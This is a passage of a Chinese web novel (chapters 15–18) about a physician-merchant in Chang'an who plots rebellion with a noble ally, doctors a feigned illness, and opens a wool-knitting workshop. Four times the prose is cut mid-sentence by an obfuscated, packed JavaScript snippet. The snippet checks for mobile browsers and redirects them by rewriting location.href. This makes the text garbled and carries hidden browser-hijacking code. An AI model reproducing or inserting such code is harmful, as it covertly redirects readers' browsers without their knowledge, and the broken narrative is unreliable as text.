“这个东家没说,我瞧着东家也没打算在长安开医馆,多半不打算长久做药材生意。”药材利润是有,但来回西南长安也麻烦,再说药材在西南又不是卖不掉,为了几倍价走一趟风险也高。 “不打算长久做留在长安做什么?” “我哪里知道,东家做事一向都是对的,咱们听着就是,你们尽快去库里把东家要的药材和药丸都准备好,五日后商队就要准备走了。”以往商队回来一趟,最少要休息一旬,奈何这回赚钱要紧,能留下五日,还是因为库房的货不是想要就有,西南各地都有在尚家买药材,突然大量要货库房需要调配。 “药材数量没问题,西瓜霜得等一等,如今地里的寒瓜还没结果,库里的都是去年存货,应州白家的货近些时候便要给出去,能剩多少不好说。”宋月隐负责的就是药材一块,对库房存货再清楚不过。 “那怎么办?东家交代要西瓜霜,按说东家最清楚库房的存货,不该出现这种情况。”赵管事皱眉,光是药材很难在长安周转开。 “东家当真没提一句再买卖些其他药丸?” “不曾说过,当时有个哥儿和东家谈生意,东家一口气将手里的药材和药丸全给了那个哥儿,结了钱就让商队的人先回西南。” “哥儿?”宋月隐吃惊,不是说外地没见过哥儿姑娘做大生意吗?能一口气吃下东家手里的东西,总不会是小打小闹。 “嗯,不过人过来的时候带着帷帽,我也没见着到底长什么样。”显然赵管事和宋月隐关注的点不一样。 “不必说,多半是个美人了,不然东家为什么一口气把底货全交出去不说,还忘了仔细交代你们。”宋月隐眼底闪了闪八卦的光芒,无他,尚柒本该少年爱慕的年纪,但修身养性的叫人以为他要皈依佛门,这回出现一个特殊对待的人,怎么想都有情况。 “呃,东家叫我们提了两成价卖给人。”真有什么,东家这么干也没什么了,生意人在商言商。 “是卖给其他人的都提了两成,还是只那个哥儿提了两成?” “后者。” 赵管事话落,宋月隐和蔺肃对了对视线,觉得不对,只是人现在在长安,千里之遥他们有心想问也问不出什么。 “西瓜霜货不够,库里还有其他温养滋补的药丸,在西南销量很好想必在长安也不会差。”蔺肃做主,库里的药丸除开一些药效极好的轻易不卖,其余的在西南各地都卖的很好,这类药也没有什么生死人的本事,拿去长安买卖想必也不会出大乱子。 “你们做主,我只是个负责跑路,账本看完了我就回家了,快两个月都没见着家里人了。”赵管事抖了抖衣裳,一路风尘仆仆回来,连身衣裳都没换,瞧着都邋遢。 “回吧,剩下的事我和蔺肃接手,五日后你们只管来接货。”宋月隐嘴上抱怨事多,但真做起来也不含糊。 “那你们忙。”赵管事说着就出了尚府,赵管事本名赵长遂,家住河坪村,距离长平村比较远,后头跟着尚家挣了钱,就把家落在礼县了。 原本长平村到礼县少说要走三个时辰,后头尚家发达了,为了能尽快把货送长平村运出去,长平村到礼县的路都是尚家请人修整过的,用的泥沙碎石,干了后刀枪不坏。 哪怕下雨走在上面都稳当,不少过来长平村做生意的商人都夸路好,还想从东家那里打听要如何修出来一条。 奈何造价昂贵,比三合土路都要贵,一般人家还真修不起,也就不了了之。 要赵长遂说,不说天底下的路,就是大历的官道能修成这样,来往各地不知道能轻快多少,但也只是想想,皇帝不想着每年加税就是好的,真要修官道,赋税徭役一般人家哪里负担的起。 马车不过一个时辰就到了礼县,赵长遂轻车熟路的回了家,这时候家里是没人的,小的在上学,大人也都在外头做事,正午一顿几乎都不会着家。 赵长遂就得自己烧火做饭,好在都是农户人家出身,便是男子一般不进灶房,做饭还是会做一点的。 粗粮熬成的粥,配上去岁冬天淹的酸菜萝卜,哪怕是大夏天也能送去两碗落肚。 吃饱喝足,再洗漱换身衣裳便倒头就睡,打长安回来的商队汉子个个如此,若不是身板子够硬,五日功夫还真不一定休息的好。 …… “病了?”尚柒瞧着连续两回跟在别此云身后的哥儿,总觉得事情没那么简单。 “前几日公子夜里染了风寒,府里的大夫看过开了几副药,吃了也不见效,公子便想请尚大夫走一趟。” “不请宫里的太医看看?”尚柒这点医术是童子功,虽说打记事起就在学,到底没正儿八经的看过病,当然到了大历,各方豪强愿意上门给他当小白鼠看诊,经验也慢慢攒的有,但尚柒不自信摸脉的本事能比过老太医。 “夫人原本是想请和尚家相熟的太医上门,可近来宫中几位贵人接连病了,太医院的太医都被留在宫里,一时间请不到。” “且等等,我去拿些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400985|168680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药材。”话都到这个份上,尚柒不走一趟似乎对不住二人的临时结盟的情谊。 坐上去别府的马车,叫书墨的小哥儿却不曾跟来,看来书墨是别此云养在外面办事的人,想来别府的其他人也不知道书墨的存在。 按说为了保密该是让在府里伺候别此云的哥儿过来请尚柒才是,偏偏叫书墨出面,莫不是别此云和身边的人都被软禁出不了门? 以他和别此云现在的关系,别此云不该给他准备鸿门宴才是,那么别此云是想通过治病,面对面和他交流什么消息吗? 冥思苦想一路,马车停在别府侧门,原本侧门的门房像是早知道尚柒要来,见着人就七拐八拐的将人带到梧桐苑。 尚柒走的闲庭信步,甚至还有心思看周遭的建筑,不愧是有两百多年底蕴的世家,屋里建筑虽不至于雕梁画栋,却也别具一格。 “尚大夫,公子正在屋里等你。”琴砚早在院门口迎接尚柒,比起每次见尚柒和别此云关门独处一室都要变脸的书墨,琴砚反而稳重不少。 不愧是后院玩宅斗的,不喜形于色都是基本功。 而尚柒没有大历男子不能随意进姑娘哥儿闺房的规矩,而且他要是真敢因为这种原因不去别此云的寝房,他打赌别此云会找他算账。 所以等尚柒进了别此云的寝房,门还被琴砚关上的时候,他一点没有不自在,还多看了两眼屋内布局,别的不说这一屋摆设,拿到当铺去都能换不少钱。 “虽然我本意叫你过来是有事同你商议,但生病请大夫也不是托词,麻烦尚大夫还是先看看病人为好。”别此云披了一件外衫从床上下来,面色略苍白。 “我不信别府的府医连个风寒都看不好。”尚柒走过去,示意别此云把手拿出来,他要勘脉。 “风寒自然看的好,但我不能让风寒好太快。” “你知道大夫最不喜欢哪种病人吗?”尚柒听到别此云这么说,哪还不知道别此云是故意生病的,想是一边喝药一边继续折腾身体。 “情非得已。”别此云说着咳嗽了两声,要说病的多重是没有的,但一直好不了肯定伤身。 “那你是要好还是不好。”尚柒收回手,的确不严重,但也架不住反反复复的病。 “快要好了。” “这次是为了什么?”尚柒已经在心里开药方了。 “今日有个赏花宴,原本我要去相亲。”别此云说的轻描淡写,但都用上生病这招,怕也是黔驴技穷了。 “赏花宴一过,你病就好了,你娘不会看不出来。”躲得了初一还能躲得过十五吗?长安城最不缺宴会,今日赏花,明日马球,后日茶饮,只要别此云的娘想,连着带别此云出门一个月都没问题。 “我病好是请了好大夫上门看诊,和赏花宴干系不大。”尚柒必然不想一直在长安籍籍无名,最快能认识权贵的办法,自然是让尚柒拿出好医术,别此云不介意做梯子,给尚柒扬名。 “实在不成,不如试试破窗效应。” “怎么破窗?是看上一个有妇之夫,还是看上一个寻常百姓。”无论哪种都是对世家名声的羞辱,更不提别家是典型的儒家思想。 “说你不喜男子,偏好公子贵女不行吗?”尚柒语不惊人死不休的落下一句。 16. 第 16 章 世上有断袖之癖,就有磨镜之好,只是比起前者,能在世家子弟间夸耀一句风流,后者便不能摆在明面上。 至于说世家妻妾夫郞成群,是否有私下有磨镜之好者,那必然是有的,但多半除开贴身伺候的人,其余一概不知。 “你这不是掀房顶,而是在拆房子。”别此云语气平淡的回应。 “都一样,不管黑猫白猫,抓到老鼠不就是好猫吗?” “那你认为我该拿谁来当幌子呢?”时下名声大过天,尤其是在世家之中,他既不能牵扯别的贵女公子,也不能拿身边的人赌命。 “也是个问题。”看来馊主意是行不通,“要不还是去宴会上看看?若真看不上,再想办法拒绝更容易些。” “我也没指望你能出什么好主意,所以这趟寻你过来,也非是同你商议这件事的。”要是尚柒这边一切顺利,他考虑的该是如何打地盘,谁还管这些情情爱爱的小事。 “消息已经传到人耳朵里了?”这才过去几日,别此云就找到机会给几位皇子传消息了。 “如果顺利,今日赏花宴上,几位王妃就会知道蔺家有女儿嫁给西南镇守将军做夫人了。”宴会多也不是没有好处,至少不必想方设法见到一般见不到的人,几位皇子的王妃为了从后院联络各家夫人郎君的感情,但凡大点的宴会都会参加。 “传言还是证据?” “自然是传言,一上来给几位皇子看证据未免太上赶着,这几位皇子本事没多大,但把皇帝的生性多疑学了十乘十,与其我将证据送上门,不如让他们自己查。”蔺家的尾巴扫的并不干净,以前能瞒着是因为没人捅破这一层干系。 “看来西南要乱一阵了。”尚柒思衬自己能不能浑水摸鱼,从中取些好处。 “不止西南,长安也要乱一阵,我想了想,有统军能力的人才在民间寻犹如大海捞针,但长安禁军有现成的人才,可以撬墙角。” 这还是多亏了尚柒撬四皇子私兵给的灵感,既然私兵都能是别人的,将军凭什么不能找现成的。 “据我所知,长安禁军领头的多多少少都有裙带关系,撬墙角的难度系数很大。”大历武将地位和文臣并肩,能入长安禁军的多是武将世家出身,真要撬容易翻车。 “长安禁军约五万人,武将世家出身的子弟基本将上层坑位全占了,下面没有靠山想要出头的人才数不胜数。” 大历无论是文成还是武将,世家出身占了大部分,真平民百姓几乎没有爬上去的可能。 “那你如何分辨谁有本事?” “不入军营的确很难探听到内部消息,但我分不清谁有本事,却能分清谁没有本事。 武将官位也多是一个箩卜一个坑,近些年禁军想要挣军功,只能看各地剿匪的成就,偏巧近些年凭借军功上位的几个将军,没一个在长安有好名声。” 甚至当了将军,依旧没比曾经的纨绔子弟好到哪里去,还是一副酒囊饭袋相,如此有脑子的都能看出来这些人上位定然是占了下面的人的军功。 “你打算从这些人的手下查起?”是条路子,而且天底下的乌鸦一般黑,边军之中,也有不少权贵以权谋私占手下军功为己有,好一些的给点银钱补贴,差一些的,人都能给弄死。 “不错,按照我对这些纨绔的了解,绝不会好生对待这些给他们挣军功的下属,想来也积怨已久,可以先慢慢接触。”撬墙角非是一蹴而就,别此云已经想好温水煮青蛙的法子。 “此事你应该就能办妥,我能起什么作用。” “军中做事,总是少不了受伤,上次你说你手里有白药。”别此云可谓是一环接着一环,还真拐到尚柒身上。 “药是有,但价格不便宜,我的白药效用你也清楚,是这个时代最好的金疮药,想要大规模用在军队中不现实。”白药需用的药材,三七不提,光是冰片就要耗费不少人力物力制成。 “价钱不是问题,再有禁军是大历的军队,我也管不了,白药只是拉拢关系的人情,数量用不了很多。” “你的人去接触还是我的人去接触?” “我的人先去,你的人可以备着,还有近些时候我可能会寻你去给一些人瞧病,如果能够搭上关系,对日后你我图谋有好处。” “武将也就算了,对文臣示好不如你大军压境来的快。”往前数几十年,文臣或许还有风骨,换到现在,朝中有几个大臣还能为大历死战?只怕武将都不多,大军压境投降投的比谁都快。 “什么时候能大军压境都不知道,暂且你我要在长安继续赚钱,多和人交好没有坏处。”别此云当然知道尚柒是嫌麻烦,但打仗又不是光靠打就行了。 “看来我别无选择。”尚柒叹了一口气,总感觉别此云在赶鸭子上架。 “自你同意和我合作,该想到的。”别此云语气间透露出笑意,比起尚柒刚过来的时候神色好了不少。 “有笔墨吗?我把药方给你开了。”要事说完了,该准备走了,继续留在尚府,万一被别此云的爹娘兄长看见,可就解释不清楚了。 “书桌上有,我给你研磨。”病了这几日,别此云连书都没法看,自然也没有动笔写画的可能。 只是墨锭刚磨上两下,琴砚就在外头敲响了门。 “公子,大少爷过来了。” 尚柒执笔的动作一顿,还真是担心什么来什么。 “故意的?” “那对我有什么好处?”别此云放下墨锭,开始整理自己的衣裳,以他阿兄的性子,连他和尚柒独处一室都会脸色铁青,更不说他还衣衫不整。 “去书房?”尚柒看了看还没落笔的药方,他现在想跑也来不及,梧桐苑又不靠外墙,可以一个翻身就溜出去。 “走吧。”别此云穿好衣裳就领人去隔壁书房,虽然在他看来书房和寝卧大差不差,但为了这个时代的家人三观,他还是得注意一些。 亏得琴砚通知及时,等别景季踏入院子的时候,尚柒和别此云已经转移到了书房,磨墨的人也从别此云变成了琴砚。 “阿兄,今日怎么过来了?”别此云起身到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400986|168680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口迎人。 “你病了几日不好,我过来瞧瞧,这位是?”别景季一进门目光就落在尚柒身上,没办法自己弟弟院子里突然出现一位陌生男子,如何叫人不提防。 “是街上请来的大夫,近来府医给的药喝了没什么作用,我便差人去外面请人来瞧瞧,但病了几日身子骨有些疲软,就差人过来内院看诊了。”别此云滴水不漏的回应。 “是哪家坊市坐镇的大夫,这样年轻却是没见过?”别景季依旧打量尚柒,时下大夫当然是年纪越老吃香,按照眼前儿郎的年纪,在医馆只怕还是个捡药的药童,哪里能出门看诊。 尤其是人这张脸,不输于世家出身的少爷们,小弟一向排斥同外男接触,怎么今个儿性情大变,莫不是…… “别少爷没见过也正常,我自西南而来,眼下在长安暂时落脚,先前别公子为给别老大人贺寿,寻我买了些药丸,有几分交情,又得别公子看重受邀过来看诊。”尚柒态度寻常,说实在的,就是见到大历皇帝他也不见得能有什么大情绪。 “药丸?西瓜霜?”别景季也非是两耳不闻窗外事的人,西瓜霜一时在长安名声大噪,许多友人都买来用过,效果很好。 “正是。”尚柒说着挑眉看向别景季身后的别此云,瞧眼神似乎在问‘你真的把西瓜霜当寿礼送了’。 “尚大夫药方可写好了?” “写好了,别公子按时服用,少劳累,三五日必定药到病除。”就别在折腾你那本就底子没多好的身体,别到时候创业未半先中道崩殂,剩下的烂摊子他可收拾不过来。 “定会按时服药。”别此云挥了挥手,“琴砚,送客,诊金别忘了给尚大夫。” “是,公子。”琴砚接过尚柒的药方,伸手示意,“尚大夫请跟我来。” “劳烦。”尚柒自在的走到门口,对别景季点头示意,就轻飘飘的出门去了,留下别此云和别景季面面相觑。 “纵然是请外来的大夫看病,坊市中有不少名声俱佳的大夫,何必请一个西南过来不知根底的人。”更别说这人模样生的好,气度也不像是个做生意的,此云少和外男接触,若是被花言巧语哄骗了去怎么办? “我又不认识坊市中有名的大夫,上次从尚大夫手里买来的西瓜霜,阿翁用着很好,想来尚大夫制药手艺不差,看诊手艺也该不错。” 别景季暗道是他粗心了,小弟常年在道观,往日调养身体的大夫都是宫中太医,近来太医们没空,自然也认不得其他大夫。 “算了,此事我且替你瞒着,这位尚大夫开的药方也先别吃,叫府医看过说没问题再用。”不提尚柒到梧桐苑看诊不合规矩,单是尚柒年纪尚轻,就不敢轻易用他的药,若非是西瓜霜名声做保,别景季都想另请大夫给小弟看诊。 “嗯。”别此云没有和阿兄争辩,而是寻人请了府医过来,把药方当着阿兄的面给府医看过。 虽然府医看到药方没有惊为天人,但也明说这药方开的极好,叫别景季放下心的同时,也打算改一改凭年纪论英雄的想法。 17. 第 17 章 礼县。 蔺肃和宋月隐刚为商队备好药材,便又收到尚柒快马加鞭送回来的急信,信中内容还是都是暗文写的。 “你之前不是说尚柒没有造反的心思吗?”宋月隐看过信件后,目光炯炯有神的盯住蔺肃,还道蔺肃是尚柒贴心心腹,怎么这么大的事一点苗头也没看出来。 “之前的确没有。”蔺肃不咸不淡的反驳,他也不是尚柒肚子里的蛔虫,怎么知道人去了一趟长安卦变的这样快。 “按尚柒信里的办,能成功吗?”宋月隐半点没有对顶头上司竟然敢大逆不道感到任何不满,要知道,她恨不能早几年尚柒就揭竿而反,说不准这会都打下整个西南当地盘了。 “此招虽险,但胜算很大。”看信里尚柒的意思,长安的局势很紧迫,说不准什么时候打起来,能够以最快的速度谋取兵力,是最保险的办法。 “谋夺私兵先不提,山寨必须要早一步准备,西南境内的土匪都是三三两两的聚拢,没有大寨,咱们是干脆建个大寨做遮掩,还是也化整为零?” “直接建个大寨,总归西南守军轻易不能离开边境,朝廷禁军剿匪也剿不到西南来,位置选偏僻些就是。”尚柒给的急件已经将大体框架定下,至于细节就得他们完善,好在尚家眼下在西南也不是一点能力都没有。 “我这就去召集人手。” —————————— “所以你阿耶是想遣两个厨子过来学手艺?”尚乌桕坐在椅子上,不断地前后摇晃,难得隔壁的苏家小郎得空过来,还道要一块去巷子玩耍,没成想苏家小郎带了任务过来。 “正是,上次我带回去的几道菜,父亲吃了都道不输给金玉满堂,还问阿耶这菜是打哪儿来的,之后阿耶就想遣家里的厨子过来学艺,但又怕是祖传手艺不外传,就着我过来打探打探消息。” 苏家小郎说着也有几分不好意思,时下厨艺跟医术木匠之类的活计一样,都是家传行当,便是给钱都不一定能学会。 “这有什么,在礼县凡有想学厨艺的人都可以到尚府拜师,也是如今家里的厨娘会做饭,哪怕只是被阿兄三言两语的指点也能做出一桌好菜,你家厨子想要来学,只管上门就是。” 尚乌桕是不理解这有什么好藏着掖着的,厨艺这东西也不是是个人就能学会,自礼县人口逐渐增多,县里酒楼食肆的缺口便越来越大,赶鸭子上架的厨子不知道多少,寻常百姓苦厨子久已。 “竟然不是厨娘家传的手艺,是你阿兄指点的?”苏家小郎自幼被教导君子远庖厨,甚至阿耶都是不进厨房的,没成想乌桕的阿兄不光会看病做生意,连做饭都不在话下。 “嗯,以前家里的厨子也都是阿兄指点的,不过你也别指望我阿兄手艺有多好,顶多不难吃,比不上现在家里的厨娘手艺。”尚乌桕作为尚柒的弟弟,有幸吃过几回尚柒亲自下厨的饭菜,味道说不上好也说不上不好。 “这样么,等我回去就告诉阿耶,我们不白学。”苏家小郎也不占便宜。 “拜师礼?随便送点什么就成,我阿兄不在乎那个。”尚乌桕满不在乎的摆摆手,“说起来你家有铁锅吗?好些厨娘做的菜都要用铁锅的。” “有,自从金玉满堂的生意好起来,不少人都打听到金玉满堂后厨用的新厨具,好些人家便自己打了铁锅,我们家也有。” “可我听说长安近来缺铁,你们的铁是从哪里来的?”尚家的铁锅是从礼县带来的,不然以尚家无权无势在长安,还真寻不到铁打铁锅。 “长安缺铁?我不知道这事,铁锅是阿耶从外祖家带回来的。”苏家小郎对家里的俗事知道的不多,这些还是他在阿耶院里听阿耶和身边的嬷嬷说话才知道的。 “那你外祖家的铁又从哪里来的?盐铁不都官营了么?” “是官营,但世家名下或多或少都有自己的矿脉,陛下也知道。” “这样啊。”尚乌桕没在继续追问,但心底有不少疑惑,阿兄说有铁矿就能制造兵器,世家自己持有矿脉,皇帝不怕世家私下制造兵器谋反吗? “过几日我外祖家有场宴会,你要跟着一起去吗?”苏家小郎已经把尚乌桕当朋友了,以前去外祖家,兄弟姐妹因为他阿耶嫁了个寒门进士,对他并不热络,甚至多有排斥,他也不想和外祖家的兄弟姐妹玩,但宴会又不得不去,若是尚乌桕能和他一起去就好了。 “这得问我阿兄,不过你外祖家听着就是名门,一般不会邀请商人赴宴。”尚乌桕虽然年纪小,但跟在阿兄身边学到的东西可不少,长安世家办宴会,门栏高着呢。 苏家小郎面露愁苦,不如还是装病不去了。 “你阿兄能不能给人开一种装病的药?” “不想去宴会你可以给你阿耶说,没必要用这样拐弯抹角的办法,再说是药三分毒,没病没灾的吃什么药。”尚乌桕拿出做大夫的气势。 “好吧。” 两个小的在院子里叽叽喳喳一刻不停,尚柒在屋里细细看过别此云送来的名单,都是禁军出身,也有一官半职,但背后没人,几乎断了上升的出路。 别此云说他先遣人接触,多半也都是从酒肉朋友开始,要想撬墙角,光挖个人没用,还要连带着一家人都一块挖了。 既然别此云准备接触这些军官的人,他就正好借用羊毛的事接触这些军官的家人。 说起羊毛,宣义坊的库房已经在尚南枝的紧盯下,如火如荼的开始改造,宣义坊的房价便宜,人口也没有临近东西市几个坊人口多,租金要便宜不少。 只是坊内地痞流氓不少,若是外来人势单力薄住进坊内,可能需要时时提防,但尚家直接租了临渠的大库房,一般闲杂人等是不敢放肆的。 “二小姐,这是这几日咱们试着做出来的毛线球,这东西确定能做成衣裳吗?”德顺打入长安后,基本都跟尚南枝跑前跑后,对羊毛的事不比尚南枝上心的少,可他颠了颠手里的毛线团,怎么看也不像是能做衣裳的。 “山里的竹子还能用来做竹席呢,毛线球怎么就不能做衣裳?”尚南枝是看过阿兄交代怎么勾线成衣的法子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400987|168680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不过还没请妇人郎君过来试验,旁人不信也是情有可原。 “用线编衣裳?”守义也是农户出身,会做一些守义活,像是用稻草编草垫,竹篾编框都是会的。 “算是,让你们找的会编线活计的妇人郎君找到了吗?”时下妇人郎君多在家做些针线活补贴家用,会用线编东西的人却不多。 “找是找到了,不过我问过人家,都说不会做编线做衣裳的活计。” “她们要是会,我们还赚什么钱,明儿把人领过来,我亲手教。”尚南枝说的信誓旦旦,但实际半点没学会阿兄给的木棍织衣,不过她手上不会,不代表脑子不会,阿兄厨艺没多好不照样能指点厨娘做饭,想来她也能做到。 翌日。 宣义坊内几位娘子郎君便来了尚家库房,要说坊内娘子郎君除开浆洗衣服和去酒楼后厨洗碗外,基本寻不到其他活计。 坊内绣房也有,但人家的绣娘都是打小就学,也不让做其他粗活养手,一般的妇人郎君需要照顾家里,没这个条件,就是做些针线活补贴家用也有限。 眼下突然招会编线手艺的娘子郎君,无疑给她们一条别的出路,加上人家库房就在宣义坊,大家伙自小就在宣义坊长大,却也不怕在坊内被骗了去。 更不说这库房做主的是个十一二岁的小娘子,光是瞧人穿的衣裳,指挥人干活的气度,都知道出身定然不凡。 “库房还没收拾出来,你们跟我到这边。”尚南枝瞧着几位手足无措的娘子郎君站在原地,走过去发话。 库房是放羊毛的,梳洗羊毛,捻线成团肯定不能在库房内,左右这地方够大,尚南枝将库房附近的地方也租了下来,已经收拾干净,只等木匠送纺机就能开工。 “听闻你们是附近手艺灵巧的娘子郎君,我这里有一份活计,需要你们用钩针织衣,若是能做到,工钱每日不少于三十文。” 长安城一日三十文的工钱算不上高,但也分工作,例如在金玉满堂或是甜品屋做事,一日五十文一百文都是小钱,时时贵客临门还能得一些打赏,可能进这些地方做工的人能有几个? 大部分百姓也就处于三十文道五十文一日的工钱,且还是死工资,尚家的羊毛生意,三十文是底薪,之后是计件拿钱的,不过眼下织衣的法子还没完善,也不必过早提。 “小娘子说的钩针织衣我等不曾听说过。”有机敏的娘子先一步上前询问。 “不曾听闻没有关系,我会指导你们如何做,若能率先织成一件衣裳,我便提她为管事,每日三十文也会涨到每日五十文。”尚南枝从阿兄身边学到的一手,重赏之下必有勇夫。 别看三五十文似乎不多,但一般不专程做绣活的娘子郎君,三五日能攒三五十文都是顶厉害的,若能多出这份收入,每月家里少说能多攒一贯。 “还请小娘子指点。”不出尚南枝所料,话刚落下几位娘子郎君神色就变了,也不再腼腆不语,纷纷到尚南枝跟前想要探听勾线成衣的法子。 唔,羊毛生意第一步顺利进行。 18. 纵马 “公子,太子和几位皇子遣人去了西南,咱们要给尚东家通通风吗?”书墨的话叫来私宅躲清闲的别此云睁开眼。 “速度倒快,消息可以给尚柒送过去,不过他应该早有安排。”说完别此云又闭上眼睛,虽和尚柒相处的时间不多,但他也看透尚柒做事要么不做,要么就会做到事无巨细,根本不需要人提点。 “那公子可要去尚府?” 听着书墨不着痕迹的试探,别此云轻哼了一声,这小哥儿就是他手把手教出来的,他这个师父还没到黔驴技穷的时候,徒弟就开始拿学的一套对付他。 “书墨多言了。”显然不愧是能跟在别此云身边这么久的人,察言观色的本事已经炉火纯青。 “不必试探,迄今为止我和尚柒除开合作关系,并无其他。” 书墨不语,但眼神里透露着不信,公子一向不喜与人交往,不光儿郎,相熟的姑娘哥儿都没一个,初闻尚东家的名声,不光大胆露面,之后更是请人回府里相见,要说尚东家对公子不是特殊的,书墨的名字倒过来写。 “好吧,我们的确有点特殊关系,但和你想的关系不一样。”别此云无奈,但又不想解释的更清楚,除开尚柒,他不会放任另外的人知道他的底细。 “书墨知道了。” “给尚柒传信的时候,顺便叮嘱一句,过几日别府有人请他上门治病。”几日前尚柒替他开药治病,效果很好,尚柒的医术显然也在阿兄那里挂了号,恐怕心里已经起了几分心思,只是还得再推波助澜一把。 “是。” …… 尚柒的马车停在宣义坊,尚家的库房已经修整完毕,每日黄昏前各坊的酒楼便送了今日扒下的羊毛过来,收羊毛的成本不高,因为这玩意实在不值钱,要不是库房够大,库里早被羊毛填满了。 “东家,你过来了。”守义最先看到尚柒,抹了一把额头上的汗渍走了过来。 “南枝在哪?”尚柒近来心思在西南上,却也不是一点事也不管。 “二小姐在后边指点妇人郎君织衣裳呢。”守义说着语气激动起来,显然他已经见识到了羊毛织成的衣裳。 “织成了?”尚柒自己只无聊的时候看到过织毛衣的视频,凭借出色的记忆力模糊的还原了一点针法,但真要织成衣裳,光靠他那点回忆是不够的,还以为光是研究出怎么织衣裳就得费一番功夫呢。 “成了,二小姐不过教了一日,就有两位娘子郎君像模像样的做成了衣裳,不过听二小姐说收尾还有点问题,这几日一直和那两位娘子郎君琢磨呢,我瞧着大抵已经琢磨出来了。” “果然高手在民间。”看来他还是小瞧了长安城里的百姓。 等守义领着尚柒过去,只见院子里围着的几位娘子郎君双手一刻不闲的勾针,有的手里已经出了一半衣裳,有的手里刚开始。 “阿兄。”尚南枝听到动静回头,惊喜阿兄竟然过来了。 “我过来瞧瞧有什么要出力的。”尚柒说着将手里的糕点递过去。 “那阿兄来晚了,问题都被我解决了,阿兄你瞧,我寻来的娘子郎君手巧的很,衣裳已经织出来了,我还想着多弄些花样,用别的针法织衣裳。”羊毛团都是一个色,要弄其他颜色就需要染色,眼下他们没工夫弄染色的步骤,不如款式上弄出点花样。 “可以。”本来织毛衣的针法就有很多,“也不拘衣裳,围脖帽子也都可以试着织一织。” “我也是这样想的,我还想看能不能用羊毛织成绢人,长安的绢人都是丝绸、纱绢做的,想来羊毛也能做。” “绢人只先看看能不能做出来,不必大批制作,等什么时候搞定染色这一步再说。”绢人这样的玩偶娃娃,一个色瞧着不像是活人用的,且小孩子都喜欢五颜六色的东西,不染色怕卖不动。 “阿兄思虑周全,我记下了。”尚南枝说完又一顿,“那阿兄我们要大规模开始召集人手了吗?羊毛织成的衣裳肯定秋冬日才能卖出去,现在咱们动工只有支出没有收入,银钱方面可能撑不到回款的时候。” “在长安须得秋冬才能回款,但长安之外的商人夏日也会收购,你只管叫人备货,等有一定量之后我寻人来收。”除开岭南一带冬日不那么冷,大历其余地方冬日都难熬,寻一些外地商人说服他们买一些货物带回本地售卖不难。 “有阿兄这句话我就放心了。”尚南枝说着挽起衣袖,做出一副要大干一场的模样。 看过羊毛相关的事物,尚柒放心回程,只是行至安邑坊时,偶遇一群五菱年少纵马而过,若非是马夫阿大常年在西南赶马驾驶技术非凡,多半要被撞个人仰马翻。 摔了东家还是小事,若是叫这群世家子弟摔了,万年县的牢里准有他们一号。 “东家,没事吧。”阿大显然被气的不轻,但也清楚形势比人强,等那群纵马少年走远了,才开口。 “没事。”马车里尚柒已经坐稳,“看清楚有多少人了吗?” “约莫十二三人,身着华服,佩蓝田玉,有的腰间挂剑,都未及冠。” “走吧。”尚柒不怕这群子弟招摇,这样才好寻人。 按大历律,当街纵马,仗五十,更不必说长安城乃天子脚下,且看这群人对上马车都不见停下,说不得沿途已经撞了不少人,若有致死,当严惩。 可想也知道,真去万年县报官,怕也只能得个败兴而归的结局,说不得还会招致这群纨绔子弟报复。 不过尚柒虽嫌麻烦,但也不惧麻烦,今日敢当街纵马,明日强抢民女也只当是小事,不给这群无法无天的小子们一个教训,他咽不下这口气。 回到尚府不过片刻功夫,冯风就溜达出府,从常乐坊到安邑坊一路打探消息,长安本地人虽然不能说对每个纨绔都认识,但靖恭坊常年有马球赛,坊内百姓见的纨绔多了自然也认识的多。 像是今日当街纵马一事,长安城内的马匹除开权贵自家养的,多只能出自马场,靖恭坊因为有马球场,马匹自然也养的不少。 顺藤摸瓜,从靖恭坊马球场回来,冯风已经打听清楚这次纵马的十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400988|168680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几位富家子弟身份,其中为首的是蔺府的少爷。 